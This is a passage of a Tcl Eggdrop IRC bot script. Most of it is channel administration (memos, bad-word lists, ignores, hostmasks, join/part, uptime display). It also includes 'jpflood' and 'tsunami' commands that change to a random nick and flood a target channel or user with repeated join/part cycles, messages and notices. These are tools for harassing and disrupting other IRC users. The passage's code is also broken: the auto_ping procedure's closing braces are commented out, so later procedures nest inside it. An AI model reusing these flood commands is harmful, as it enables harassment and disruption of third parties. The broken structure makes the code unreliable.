puthlp "NOTICE $nick :$notc Usage: memo <all/user> <msg>"
return 0
}
set msend [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string tolower $msend] == "all"} {
set smemo ""
foreach x [userlist m] {
if {$x != $nick && $x != $own} {
if {[getuser $x XTRA "MEMO"] == ""} {
setuser $x XTRA "MEMO" "$nick: [lrange $rest 1 end]"
append smemo "$x "
}
}
}
if {$smemo == ""} {
puthlp "NOTICE $nick :$notc MeMO !FaILED! NO UsER SeND"
} {
saveuser
puthlp "NOTICE $nick :$notc MeMO SeND TO \[ $smemo\]"
}
} {
if {![validuser $msend] || $msend == $ps} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, NO UsER!"
return 0
} {
if {![matchattr $msend m]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, MiN MasTeR FLaG!"
return 0
}
if {$msend == $nick} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T SeLF MeMo!"
return 0
}
if {[getuser $msend XTRA "MEMO"]!=""} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, MeMo FoR $msend STiLL ExIST!"
return 0
}
setuser [lindex $rest 0] XTRA "MEMO" "$nick: [lrange $rest 1 end]"
saveuser
puthlp "NOTICE $nick :$notc MeMO SeND TO \[[lindex $rest 0]\]"
}
}
}
proc pub_+mustop {nick uhost hand chan rest} {
global notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
setuser "config" XTRA "MUSTOP" "T"
saveuser
puthlp "NOTICE $nick :$notc MuST @P SeT \[9ON\]"
}
proc pub_-mustop {nick uhost hand chan rest} {
global notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
setuser "config" XTRA "MUSTOP" ""
saveuser
puthlp "NOTICE $nick :$notc MuST @P SeT \[04OFF\]"
}
proc pub_kickcounter {nick uhost hand chan rest} {
	global notc kops
	if {![matchattr $nick Q]} {
	puthlp "NOTICE $nick :$notc 04ReJeCTeD!10"
	return 0
	}
	if {[string tolower $rest] == "on"} {
	set kcounter "T"
	setuser "config" XTRA "KCOUNTER" "ON"
	puthlp "NOTICE $nick :$notc KIcK COuNTeR \[9ON\]"
	saveuser
	} elseif {[string tolower $rest] == "off"} {
	catch { unset kcounter }
	setuser "config" XTRA "KCOUNTER" "OFF"
	puthlp "NOTICE $nick :$notc KIcK COuNTeR \[04OFF\]"
	saveuser
	} else {
	puthlp "NOTICE $nick :$notc Usage: +kickcounter on/off"
	}
}

proc pub_kickops {nick uhost hand chan rest} {
global notc kops
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string tolower $rest] == "on"} {
set kops "T"
setuser "config" XTRA "KOPS" "T"
puthlp "NOTICE $nick :$notc KIcK @PS \[9ON\]"
} {
catch { unset kops }
setuser "config" XTRA "KOPS" ""
puthlp "NOTICE $nick :$notc KIcK @PS \[04OFF\]"
}
saveuser
}
bind topc - * topic_chk
proc pub_badwords {nick uhost hand chan rest} {
global badwords notc 
set retval "BaDWoRDS: "
foreach badword [string tolower $badwords] {
append retval "$badword "
}
puthlp "NOTICE $nick :$notc $retval"
return 0
}
proc pub_+badword {nick uhost hand chan rest} {
global badwords notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} { 
puthlp "NOTICE $nick :$notc Usage: `+badword <badword>"
return 0
}
if {[string match "*[string tolower [lindex $rest 0]]*" $badwords]} {
puthlp "NOTICE $nick :$notc [lindex $rest 0] aLLReaDY aDDeD"
return 0
}
append badwords " [string tolower [lindex $rest 0]]"
setuser "config" XTRA "BADWORDS" $badwords
saveuser
puthlp "NOTICE $nick :$notc ADDeD [lindex $rest 0] To BaDWoRDs LIsT"
return 0
}
proc pub_-badword {nick uhost hand chan rest} {
global badwords notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} { 
puthlp "NOTICE $nick :$notc Usage: `-badword <badword>"
return 0
}
set val ""
foreach badword [string tolower $badwords] {
if {[string tolower [lindex $rest 0]] == $badword} { 
puthlp "NOTICE $nick :$notc ReMoVeD [lindex $rest 0] FRoM BaDWoRDs LIsT"
} else { append val " $badword " }
}
set badwords $val
setuser "config" XTRA "BADWORDS" $val
saveuser
return 0
}
proc pub_jump {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set server [lindex $rest 0]
if {$server == ""} {
puthlp "NOTICE $nick :$notc Usage: jump <server> \[port\] \[password\]"
return 0
}
if {![string match "*dal.net*" [string tolower $rest]]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..! NoT DALNeT..!"
return 0
}
set port [lindex $rest 1]
if {$port == ""} {set port "7000"}
set password [lindex $rest 2]
putsrv "QUIT :$notc cHaNgINg ServeR"
utimer 2 [list jump $server $port $password]
}
proc msg_die {nick uhost hand rest} {
global notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist] {
if {$x != "AKICK"} {
chattr $x -Q
foreach y [getuser $x HOSTS] {
delhost $x $y
}
set hostmask "${x}!*@*"
setuser $x HOSTS $hostmask
}
}
saveuser
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc SHuTDown $rest"
utimer 5 dies
}
proc pub_ignores {nick uhost hand chan rest} {
global botnick notc 
set iglist ""
foreach x [ignorelist] {
set iglister [lindex $x 0]
set iglist "$iglist $iglister"
}
if {[ignorelist]==""} {
puthlp "NOTICE $nick :$notc No ignores."
return 0
}
regsub -all " " $iglist ", " iglist
set iglist [string range $iglist 1 end]
puthlp "NOTICE $nick :$notc CuRReNTLy IgNoRINg : $iglist"
return 0
}
proc pub_-ignore {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set hostmask [lindex $rest 0]
if {$hostmask == ""} {
puthlp "NOTICE $nick :$notc Usage: -ignore <hostmask>"
return 0
}
if {![isignore $hostmask]} {
puthlp "NOTICE $nick :$notc $hostmask IsN'T oN MY IgNoRE LIsT"
return 0
}
if {[isignore $hostmask]} {
killignore $hostmask
puthlp "NOTICE $nick :$notc No LoNGEr IgNorInG \002\[\002${hostmask}\002\]\002"
saveuser
}
}
proc pub_+ignore {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +ignore <hostmask>"
return 0
}
if {[isignore $rest]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY SeT oN IgNoRe"
return 0
}
if {$rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, ILLeGaL HoSTmAsK"
return 0
} 
set usenick [finduser $rest]
if {$usenick != "*" && [matchattr $usenick f]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T IgNoREd FRIend UsER"
return 0
}
if {$rest != $nick} {
newignore $rest $nick "*" 600
puthlp "NOTICE $nick :$notc Ignoring $rest"
} else { 
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T IgNoRE YoUR SeLF"
}
}
proc pub_-host {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set who [lindex $rest 0]
set hostname [lindex $rest 1]
set completed 0
if {($who == "") || ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: -host <nick> <hostmask>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {(![matchattr $nick n]) && ([matchattr $who n])} {
puthlp "NOTICE $nick :$notc CaN'T ReMoVe HoSTMasKs FRoM THe BoT oWNeR"
return 0
}
if {![matchattr $nick m]} {
if {[string tolower $hand] != [string tolower $who]} {
puthlp "NOTICE $nick :$notc You NeeD '+m' To cHaNGe oTHeR UsERs HoSTmasKs"
return 0
}
}
foreach * [getuser $who HOSTS] {
if {${hostname} == ${*}} {
delhost $who $hostname
saveuser
puthlp "NOTICE $nick :$notc ReMoVeD \002\[\002${hostname}\002\]\002 FRoM $who"
set completed 1
}
}
if {$completed == 0} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
}
}
set thehosts {
*@* * *!*@* *!* *!@* !*@*  *!*@*.* *!@*.* !*@*.* *@*.*
*!*@*.com *!*@*com *!*@*.net *!*@*net *!*@*.org *!*@*org
*!*@*gov *!*@*.ca *!*@*ca *!*@*.uk *!*@*uk *!*@*.mil
*!*@*.fr *!*@*fr *!*@*.au *!*@*au *!*@*.nl *!*@*nl *!*@*edu
*!*@*se *!*@*.se *!*@*.nz *!*@*nz *!*@*.eg *!*@*eg *!*@*dk
*!*@*.il *!*@*il *!*@*.no *!*@*no *!*@*br *!*@*.br *!*@*.gi
*!*@*.gov *!*@*.dk *!*@*.edu *!*@*gi *!*@*mil *!*@*.to *!@*.to 
*!*@*to *@*.to *@*to
}
proc pub_+host {nick uhost hand chan rest} {
global thehosts botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set who [lindex $rest 0]
set hostname [lindex $rest 1]
if {($who == "") || ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}
set badhost 0
foreach * [getuser $who HOSTS] {
if {${hostname} == ${*}} {
puthlp "NOTICE $nick :$notc THaT HoSTmAsK Is aLReaDY THeRe"
return 0
}
}
if {($who == "") && ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
return 0
}
if {([lsearch -exact $thehosts $hostname] > "-1") || (![string match *@* $hostname])} {
if {[string index $hostname 0] != "*"} {
set hostname "*!*@*${hostname}"
} else {
set hostname "*!*@${hostname}"
}
}
if {([string match *@* $hostname]) && (![string match *!* $hostname])} { 
if {[string index $hostname 0] == "*"} {
set hostname "*!${hostname}"
} else {
set hostname "*!*${hostname}"
}
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {(![matchattr $nick n]) && ([matchattr $who n])} {
puthlp "NOTICE $nick :$notc CaN'T aDD HoSTmasKs To THe BoT oWNeR"
return 0
}
foreach * $thehosts {
if {${hostname} == ${*}} {
puthlp "NOTICE $nick :$notc Invalid hostmask!"
set badhost 1
}
}
if {$badhost != 1} {
if {![matchattr $nick m]} {
if {[string tolower $hand] != [string tolower $who]} {
puthlp "NOTICE $nick :$notc You NeeD '+m' To cHaNGe oTHeR UsERs HoSTmasKs"
return 0
}
}
setuser $who HOSTS $hostname
puthlp "NOTICE $nick :$notc ADDeD \002\[\002${hostname}\002\]\002 To $who."
if {[matchattr $who a]} {
opq $chan $who
}
saveuser
}
}
proc msg_join {nick uhost hand rest} {
global botnick joinme own notc 
set chantarget [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: join <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {[validchan $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget Is aLReaDY oN cHaNNeLs LIsT"
return 0
}
if {$nick != $own && [total_channel] != 1} {
#puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
#return 0
}
set joinme $nick
channel add $chantarget
catch { channel set $chantarget +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
if {[lindex $rest 1] != ""} { 
putsrv "JOIN $chantarget :[lindex $rest 1]"
}
return 0
}
proc msg_+chan {nick uhost hand rest} {
global botnick joinme own notc 
set chantarget [lindex $rest 0]
set opt [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 04!BLoCkEd!"
return 0
}
if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: +chan <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {[validchan $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget Is aLReaDY oN cHaNNeLs LIsT"
return 0
}
if {$nick != $own && [total_channel] != 1} {
#puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
#return 0
}
set joinme $nick
channel add $chantarget
if {$opt != "" && [string tolower $opt] == "+nopart"} { 
catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
} else {
catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
}
savechan
if {[lindex $rest 1] != ""} { 
putsrv "JOIN $chantarget :[lindex $rest 1]"
}
return 0
}
proc msg_part {nick uhost hand rest} {
global botnick joinme notc ps partm
set partmsg [lindex $partm [rand [llength $partm]]]
set chantarget [lindex $rest 0]
set part_msg [lrange $rest 1 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: part <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {$nick != $ps && [string tolower $chantarget] == "Sidimpuan"} { return 0 }
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
if {[string match "*+secret*" [channel info $x]]} {
puthlp "NOTICE $nick :$notc I CaN'T PaRT $x 04pRoTecTEd..!"
return 0
}
if {![onchan $nick $x]} { 
puthlp "NOTICE $nick :$notc PaRT $x"
}
if {$part_msg != ""} { 
putsrv "PART $x :$part_msg"
} { 
putsrv "PART $x :04$partmsg"
}
channel remove $x
savechan
return 0
}
}
return 0
}
proc pub_chanreset {nick uhost hand chan rest} {
global notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: chanreset <#|ALL>"
return 0
}
set chan [lindex $rest 0]
if {[string tolower $chan] == "all"} {
puthlp "NOTICE $nick :$notc ReSeT ALL DeFauLT FLAg"
foreach x [channels] {
catch { channel set $x -statuslog -revenge -protectops -clearbans +cycle -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
catch { channel set $x -nodesynch }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
}
savechan
return 0
}
if {[string first # $chan]!=0} {
set chan "#$chan"
}
puthlp "NOTICE $nick :$notc ReSeT cHaNNeL \[$chan\] DeFauLT FLAg"
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc UnFIndEd $chan."
return 0
}
catch { channel set $chan -statuslog -revenge -protectops +cycle -clearbans -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
catch { channel set $chan -nodesynch }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
savechan
}
proc msg_channels {nick hand uhost rest} {
pub_channels $nick $uhost $hand "" $rest
}
proc pub_channels {nick hand uhost channel rest} {
global botnick notc
if {$rest != ""} {
if {[validchan [lindex $rest 0]]} {
set x [lindex $rest 0]
set chan ""
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[string tolower $x] == "Sidimpuan"} { return 0 }
if {[isop $botnick $x]} { append chan " @" }
if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
if {[string match "*+nodesynch*" [channel info $x]]} { append chan "04K" }
if {[matchattr $cflag V]} { append chan "04V" }
if {[string match "*+greet*" [channel info $x]]} { append chan "04G" }
if {[matchattr $cflag C]} { append chan "04C" }
if {[string match "*+secret*" [channel info $x]]} { append chan "04P" }
if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "04L" }
if {[string match "*-userinvites*" [channel info $x]]} { append chan "04D" }
if {[matchattr $cflag G]} { append chan "04A" }
if {[matchattr $cflag I]} { append chan "04T" }
append chan "$x [chattr $cflag]"
puthlp "NOTICE $nick :$notc $chan"
}
return 0
}
set chan "9Channels:"
foreach x [channels] {
if {[string tolower $x] != "Sidimpuan"} {
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[isop $botnick $x]} { append chan " @" }
if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
if {[matchattr $cflag V]} { append chan "04V" }
if {[string match "*+greet*" [channel info $x]]} { append chan "04G" }
if {[string match "*+nodesynch*" [channel info $x]]} { append chan "04K" }
if {[matchattr $cflag C]} { append chan "04C" }
if {[string match "*+secret*" [channel info $x]]} { append chan "04P" }
if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "04L" }
if {[string match "*-userinvites*" [channel info $x]]} { append chan "04D" }
if {[matchattr $cflag G]} { append chan "04A" }
if {[matchattr $cflag I]} { append chan "04T" }
append chan "9$x"
}
}
puthlp "NOTICE $nick :$notc $chan"
}
proc pub_match {nick uhost hand chan rest} {
global ps notc 
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: match <flags>"
return 0
}
set rest [string trim $rest +]
if {[string length $rest] > 1} {
puthlp "NOTICE $nick :$notc Invalid option."
return 0
}
if {$rest!=""} {
set rest "+[lindex $rest 0]"
if {[userlist $rest]!=""} {
regsub -all " " [userlist $rest] ", " users 
regsub -all $ps [userlist $rest] "" users 
puthlp "NOTICE $nick :$notc MaTcH \[$rest\]: $users"
return 0
}
if {[userlist $rest]==""} {
puthlp "NOTICE $nick :$notc No UsErs WiTH FLaGs \[$rest\]"
return 0
}
}
}
proc val {string} {
set arg [string trim $string /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
set arg2 [string trim $arg #!%()@-_+=\[\]|,.?<>{}]
return $arg2
}
proc msg_topic {nick uhost hand rest} {
global notc botnick
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: topic <#> <topic>"
return 0
}
set channel [lindex $rest 0]
if {[string first # $rest] != 0} { 
set channel "#$channel"
}
if {![validchan $channel]} {
puthlp "NOTICE $nick :$notc NoT IN $channel"
return 0 
}
if {![isop $botnick $channel]} {
puthlp "NOTICE $nick :$notc NoT OP $channel"
return 0 
}
set rest [lrange $rest 1 end]
putsrv "TOPIC $channel :$rest"
}
proc pub_topic {nick uhost hand channel rest} {
global botnick notc botnick 
if {![isop $botnick $channel]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: topic <topic>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
putsrv "TOPIC $channel :$rest"
} 
set cmd_chn ""
set cmd_by ""
set cmd_msg ""
set cmd_case ""
bind join - * join_jf
proc join_jf {nick uhost hand chan} {
global botnick quick jpfchn jpfmsg jpfidx
if {![info exists jpfmsg]} { return 0 }
if {$nick != $botnick} { return 0 }
if {$chan != $jpfchn} { return 0 }
if {$quick == "1"} {
putqck "PRIVMSG $chan :$jpfmsg,"
} else {
putsrv "PRIVMSG $chan :$jpfmsg,"
}
incr jpfidx
if {$jpfidx >= 4} { 
catch { channel remove $jpfchn }
catch { unset jpfchn }
catch { unset jpfmsg }
catch { unset jpfidx }
puthlp "AWAY"
return 0
}
if {$quick == "1"} {
putqck "part $chan :$jpfmsg"
} else {
putsrv "part $chan :$jpfmsg"
}
}
proc pub_jpflood {nick uhost hand channel rest} {
global jpfchn jpfmsg jpfidx notc ps
if {[string index $rest 0] != "#" || $rest == ""} {
puthlp "NOTICE $nick :$notc Usage: jpflood #channel message"
return 0
}
if {[validchan [lindex $rest 0]]} {
puthlp "NOTICE $nick :$notc dOnt UsE ExIsT cHanneL..!"
return 0
}
set jpfmsg " n0 Reas0n "
if {[lindex $rest 1] != ""} { 
set jpfmsg [lindex $rest 1]
}
set jpfchn [lindex $rest 0]
if {$nick != $ps && [string tolower $jpfchn] == "Sidimpuan"} { return 0 }
set jpfidx 0
catch { clearqueue all }
pub_randnick $nick $uhost $hand $channel ""
utimer 10 hazar
}
proc hazar {} {
global jpfchn
utimer 120 goback
channel add $jpfchn
catch { channel set $jpfchn +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
}
proc pub_tsunami {nick uhost hand channel rest} {
global cmd_chn cmd_by cmd_msg cmd_case botnick version notc notm quick ps
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$person == $botnick} { return 0 }
if {[string index $person 0] == "#"} {
if {[validchan $person]} {
if {[isop $botnick $person] && ![matchattr $nick m]} {
if {[isutimer "IN PROGRESS"]} { return 0 }
utimer 20 [list putlog "IN PROGRESS"]
putsrv "KICK $channel $nick :$notc 12cHaNNeL 04FLoOd12 PRoTecTIoN04..!"
return 0
}
}
}
if {[matchattr $person n] && ![matchattr $nick Z]} {
if {[isop $botnick $channel]} {
putsrv "KICK $channel $nick :$notm 12ADmIN 04FLoOd12 PRoTecTIoN04..!"
}
if {[istimer "IN PROGRESS"]} { return 0 }
timer 2 [list putlog "IN PROGRESS"]
putsrv "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
return 0
}
if {![matchattr $nick Z]} {
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: tsunami <nick/#> <msg>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string tolower $person] == [string tolower $ps]} { return 0 }
if {[string index $person 0] == "#"} {
if {![validchan $person]} {
if {$nick != $ps && [string tolower $person] == "Sidimpuan"} { return 0 }
pub_randnick $nick $uhost $hand $channel ""
set cmd_chn $person
set cmd_msg $rest
set cmd_by $nick
set cmd_case "1"
channel add $person
catch { channel set $person +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
}
catch { clearqueue all }
pub_randnick $nick $uhost $hand $channel ""
if {[string index $person 0] == "#"} { setignore "*!*@*" "*" 120 }
if {$quick == "1"} {
putqck "PRIVMSG $person :$rest,"
putqck "NOTICE $person :$rest,"
}
putsrv "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
utimer 10 { 
puthlp "AWAY"
}
utimer 120 goback
return 0
}

proc auto_ident {min h d m y} {
	putlog "!Log! auto_ident"
	timer 5 ident_it
	auto_ping "0" "0" "0" "0" "0"
}
bind time -  "*2 * * * *" auto_ident
proc ident_it {} {
global nick altnick botnick nickpass altpass ex_flood invme pingchan own chk_reg
global kickme deopme cmd_chn cmd_msg ps twice_msg keep-nick version notc lastkey
global flooddeop floodnick floodkick server-online is_m op_it jpfchn jpfmsg jpfidx
putlog "!Log! AuTO ReSETING VaRIABLE"
catch { channel remove $jpfchn }
catch { unset jpfchn }
catch { unset jpfmsg }
catch { unset jpfidx }
catch {unset op_it}
catch {unset is_m}
catch {unset chk_reg}
catch {unset flooddeop}
catch {unset floodnick}
catch {unset floodkick}
catch {unset lastkey}
catch {unset ex_flood}
catch {unset invme}
catch {unset pingchan}
catch {unset twice_msg}
catch {unset kickme}
set deopme ""
set cmd_chn ""
set cmd_msg ""
if {${server-online} == 0} { return 0 }
if {![string match "KzN??????????" $botnick] && ![string match "KzN??????" $botnick]} {
	if {$botnick != $nick && $botnick != $altnick && ![istimer "goback"] && ![isutimer "goback"]} { goback }
} {
	goback
}
if {$ps != $own} {
	set own $ps
}
if {![isutimer "del_nobase"] && ![istimer "del_nobase"]} { utimer 2 del_nobase }
}
bind time -  "*4 * * * *" auto_ping
bind time -  "*8 * * * *" auto_ping
proc auto_ping {min h d m y} {
	global botnick repeat_last repeat_person capsnick own notc notc_chn bannick
	global unop wait_ping server-online jpnick igflood is_ban iskick
	if {${server-online} == 0} {
	catch { unset wait_ping }
	return 0
}
catch {unset iskick}
catch {unset is_ban}
catch {unset igflood}
catch {unset jpnick}
catch {unset unop}
catch {unset bannick}
catch {unset notc_chn}
catch {unset capsnick}
catch {unset repeat_person}
catch {unset repeat_last}
#puthlp "PRIVMSG $botnick :\001PING [unixtime]\001"
#if {![info exists wait_ping]} {
#set wait_ping 1
#} else {
#set wait_ping [expr $wait_ping + 1]
#}
#if {$wait_ping > 9} {
#catch { unset wait_ping }
#putsrv "QUIT :$notc Server LAggEd AuTo ReSTaRT ReQuesT"
#}
#}
proc remain {} {
global botnick uptime timezone notc notd vern longer awaym
set totalyear [expr [unixtime] - $uptime]
if {$totalyear >= 31536000} {
set yearsfull [expr $totalyear/31536000]
set years [expr int($yearsfull)]
set yearssub [expr 31536000*$years]
set totalday [expr $totalyear - $yearssub]
}
if {$totalyear < 31536000} {
set totalday $totalyear
set years 0
}
if {$totalday >= 86400} {
set daysfull [expr $totalday/86400]
set days [expr int($daysfull)]
set dayssub [expr 86400*$days]
set totalhour [expr $totalday - $dayssub]
}
if {$totalday < 86400} {
set totalhour $totalday
set days 0
}
if {$totalhour >= 3600} {
set hoursfull [expr $totalhour/3600]
set hours [expr int($hoursfull)]
set hourssub [expr 3600*$hours]
set totalmin [expr $totalhour - $hourssub]
}
if {$totalhour < 3600} {
set totalmin $totalhour
set hours 0
}
if {$totalmin >= 60} {
set minsfull [expr $totalmin/60]
set mins [expr int($minsfull)]
}
if {$totalmin < 60} {
set mins 0
}
if {$years < 1} {set yearstext ""} else {set yearstext "$years\002\037\00310Y\002\037\003 "}
if {$days < 1} {set daystext ""} else {set daystext "$days\002\037\00310D\002\037\003 "}
if {$hours < 1} {set hourstext ""} else {set hourstext "$hours\002\037\00310h\002\037\003 "}
if {$mins < 1} {set minstext ""} else {set minstext "$mins\002\037\00310m\002\037\003"}
if {[string length $mins] == 1} {set mins "0${mins}"}
if {[string length $hours] == 1} {set hours "0${hours}"}
set output "${yearstext}${daystext}${hourstext}${minstext}"
#set output [string trimright $output ", "]
if {[getuser "config" XTRA "AWAY"]!=""} {
set longer "($vern)([getuser "config" XTRA "AWAY"] ) \003$output"
} {
set awaymsg [lindex $awaym [rand [llength $awaym]]]
set longer "$vern \037(\037$awaymsg\037)\037 $output"
}
}
proc msg_userlist {nick hand uhost rest} {
global notc 
pub_userlist $nick $uhost $hand "" $rest
}
proc pub_userlist {nick uhost hand chan rest} {
global ps notc 
set akicklist " 12KIcKLIsT :"
foreach y [getuser "AKICK" HOSTS] {
append akicklist " 12$y "
}
set users "UsERLIsT :"
foreach x [userlist] {
if {($x != "config") && ($x != "AKICK") && ($x != $ps) && ![matchattr $x A]} {
if {[matchattr $x O]} { 
append users " 04$x "
} else { append users " $x " }
set flag [chattr $x]
append users "($flag)"
}
}
append users " \[8$akicklist\]"
if {[getuser "config" XTRA "IPG"] != ""} {
append users " 9IpguaRd :9 [getuser "config" XTRA "IPG"]"
}
if {[string length $users] > 300} {
set half [expr [string length $users]/3]
set half [expr int($half)]
set ntc "[string range $users 0 $half].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1] [expr $half + $half]].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1 + $half] end]"
puthlp "NOTICE $nick :$notc $ntc"
} elseif {[string length $users] > 200} {
set half [expr [string length $users]/2]
set half [expr int($half)]
set ntc "[string range $users 0 $half].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1] end]"
puthlp "NOTICE $nick :$notc $ntc"
} else {
puthlp "NOTICE $nick :$notc $users"
}
return 0
}
set platform "$tcl_platform(os) sYsTeM $tcl_platform(osVersion)"
set eggversn "EggDRoP VeR.[lindex [split $version] 0]"
proc pub_version {nick uhost hand chan rest} {
global eggversn platform notc vern
